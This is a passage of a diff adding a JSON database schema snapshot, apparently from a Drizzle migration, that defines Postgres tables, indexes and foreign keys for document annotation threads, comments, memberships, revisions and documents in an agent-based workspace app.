+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_thread_id_document_annotation_threads_id_fk": {
+          "name": "document_annotation_anchor_snapshots_thread_id_document_annotation_threads_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_annotation_threads",
+          "columnsFrom": [
+            "thread_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_document_id_documents_id_fk": {
+          "name": "document_annotation_anchor_snapshots_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_from_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_anchor_snapshots_from_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "from_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_anchor_snapshots_to_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_anchor_snapshots_to_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_anchor_snapshots",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "to_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_comments": {
+      "name": "document_annotation_comments",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "thread_id": {
+          "name": "thread_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_type": {
+          "name": "author_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "author_agent_id": {
+          "name": "author_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "author_user_id": {
+          "name": "author_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_comment_id": {
+          "name": "issue_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_comments_company_thread_created_at_idx": {
+          "name": "document_annotation_comments_company_thread_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "thread_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_issue_created_at_idx": {
+          "name": "document_annotation_comments_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_routine_created_at_idx": {
+          "name": "document_annotation_comments_company_routine_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_case_created_at_idx": {
+          "name": "document_annotation_comments_company_case_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_company_document_created_at_idx": {
+          "name": "document_annotation_comments_company_document_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_issue_comment_idx": {
+          "name": "document_annotation_comments_issue_comment_idx",
+          "columns": [
+            {
+              "expression": "issue_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_comments_body_search_idx": {
+          "name": "document_annotation_comments_body_search_idx",
+          "columns": [
+            {
+              "expression": "body",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_comments_company_id_companies_id_fk": {
+          "name": "document_annotation_comments_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_thread_id_document_annotation_threads_id_fk": {
+          "name": "document_annotation_comments_thread_id_document_annotation_threads_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "document_annotation_threads",
+          "columnsFrom": [
+            "thread_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_issue_id_issues_id_fk": {
+          "name": "document_annotation_comments_issue_id_issues_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_routine_id_routines_id_fk": {
+          "name": "document_annotation_comments_routine_id_routines_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_case_id_cases_id_fk": {
+          "name": "document_annotation_comments_case_id_cases_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_document_id_documents_id_fk": {
+          "name": "document_annotation_comments_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_author_agent_id_agents_id_fk": {
+          "name": "document_annotation_comments_author_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "document_annotation_comments_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_comments_issue_comment_id_issue_comments_id_fk": {
+          "name": "document_annotation_comments_issue_comment_id_issue_comments_id_fk",
+          "tableFrom": "document_annotation_comments",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "issue_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "document_annotation_comments_exactly_one_owner_chk": {
+          "name": "document_annotation_comments_exactly_one_owner_chk",
+          "value": "num_nonnulls(\"document_annotation_comments\".\"issue_id\", \"document_annotation_comments\".\"routine_id\", \"document_annotation_comments\".\"case_id\") = 1"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.document_annotation_threads": {
+      "name": "document_annotation_threads",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_key": {
+          "name": "document_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'open'"
+        },
+        "anchor_state": {
+          "name": "anchor_state",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "original_revision_id": {
+          "name": "original_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "original_revision_number": {
+          "name": "original_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "current_revision_id": {
+          "name": "current_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "current_revision_number": {
+          "name": "current_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "selected_text": {
+          "name": "selected_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "prefix_text": {
+          "name": "prefix_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "suffix_text": {
+          "name": "suffix_text",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "''"
+        },
+        "normalized_start": {
+          "name": "normalized_start",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "normalized_end": {
+          "name": "normalized_end",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "markdown_start": {
+          "name": "markdown_start",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "markdown_end": {
+          "name": "markdown_end",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "anchor_confidence": {
+          "name": "anchor_confidence",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'exact'"
+        },
+        "anchor_selector": {
+          "name": "anchor_selector",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_annotation_threads_company_document_status_idx": {
+          "name": "document_annotation_threads_company_document_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_issue_status_idx": {
+          "name": "document_annotation_threads_company_issue_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_routine_status_idx": {
+          "name": "document_annotation_threads_company_routine_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_case_status_idx": {
+          "name": "document_annotation_threads_company_case_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_current_revision_open_idx": {
+          "name": "document_annotation_threads_company_current_revision_open_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "current_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_annotation_threads_company_anchor_state_idx": {
+          "name": "document_annotation_threads_company_anchor_state_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "anchor_state",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_annotation_threads_company_id_companies_id_fk": {
+          "name": "document_annotation_threads_company_id_companies_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_issue_id_issues_id_fk": {
+          "name": "document_annotation_threads_issue_id_issues_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_routine_id_routines_id_fk": {
+          "name": "document_annotation_threads_routine_id_routines_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_case_id_cases_id_fk": {
+          "name": "document_annotation_threads_case_id_cases_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_document_id_documents_id_fk": {
+          "name": "document_annotation_threads_document_id_documents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_original_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_threads_original_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "original_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_current_revision_id_document_revisions_id_fk": {
+          "name": "document_annotation_threads_current_revision_id_document_revisions_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "current_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_created_by_agent_id_agents_id_fk": {
+          "name": "document_annotation_threads_created_by_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_annotation_threads_resolved_by_agent_id_agents_id_fk": {
+          "name": "document_annotation_threads_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "document_annotation_threads",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "document_annotation_threads_exactly_one_owner_chk": {
+          "name": "document_annotation_threads_exactly_one_owner_chk",
+          "value": "num_nonnulls(\"document_annotation_threads\".\"issue_id\", \"document_annotation_threads\".\"routine_id\", \"document_annotation_threads\".\"case_id\") = 1"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.document_memberships": {
+      "name": "document_memberships",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "starred_at": {
+          "name": "starred_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_memberships_company_user_starred_idx": {
+          "name": "document_memberships_company_user_starred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "starred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_memberships_company_user_document_uq": {
+          "name": "document_memberships_company_user_document_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_memberships_company_id_companies_id_fk": {
+          "name": "document_memberships_company_id_companies_id_fk",
+          "tableFrom": "document_memberships",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_memberships_document_id_documents_id_fk": {
+          "name": "document_memberships_document_id_documents_id_fk",
+          "tableFrom": "document_memberships",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.document_revisions": {
+      "name": "document_revisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "revision_number": {
+          "name": "revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "format": {
+          "name": "format",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown'"
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "change_summary": {
+          "name": "change_summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "document_revisions_document_revision_uq": {
+          "name": "document_revisions_document_revision_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "revision_number",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "document_revisions_company_document_created_idx": {
+          "name": "document_revisions_company_document_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "document_revisions_company_id_companies_id_fk": {
+          "name": "document_revisions_company_id_companies_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_revisions_document_id_documents_id_fk": {
+          "name": "document_revisions_document_id_documents_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "document_revisions_created_by_agent_id_agents_id_fk": {
+          "name": "document_revisions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "document_revisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "document_revisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "document_revisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.documents": {
+      "name": "documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "format": {
+          "name": "format",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'markdown'"
+        },
+        "latest_body": {
+          "name": "latest_body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "latest_revision_id": {
+          "name": "latest_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "latest_revision_number": {
+          "name": "latest_revision_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_agent_id": {
+          "name": "updated_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "updated_by_user_id": {
+          "name": "updated_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_at": {
+          "name": "locked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_by_agent_id": {
+          "name": "locked_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "locked_by_user_id": {
+          "name": "locked_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
